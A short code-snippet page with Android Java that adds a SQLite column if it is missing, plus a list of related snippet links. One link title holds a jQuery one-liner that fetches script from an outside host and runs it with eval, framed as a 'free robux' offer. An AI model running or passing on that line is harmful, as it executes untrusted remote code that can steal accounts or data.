/SQL/Android sqlite add column if not exists

Android sqlite add column if not exists

Cursor cursor = database.rawQuery("SELECT * FROM MY_TABLE", null); // grab cursor for all data
int deleteStateColumnIndex = cursor.getColumnIndex("MISSING_COLUMN");  // see if the column is there
if (deleteStateColumnIndex < 0) { 
    // missing_column not there - add it
    database.execSQL("ALTER TABLE MY_TABLE ADD COLUMN MISSING_COLUMN int null;");
}

Similar codes

0 vote311 views1 answer
Into operator in sql
SQL
1 vote310 views1 answer
Write an SQL query to print details of the Workers whose FIRST_NAME ends with ‘h’ and contains six alphabets.
SQL
1 vote298 views1 answer
Show per page table in xampp
SQL
0 vote354 views1 answer
Get substract count sql
SQL
7 votes309 views2 answers
What is sql clause
SQL
-1 vote321 views3 answers
My sql alter table
SQL
1 vote260 views2 answers
Show sql logs in spring boot
SQL
0 vote319 views1 answer
Search from comma separated values in sql server
SQL
1 vote270 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
1 vote279 views1 answer
Mysql collation
SQL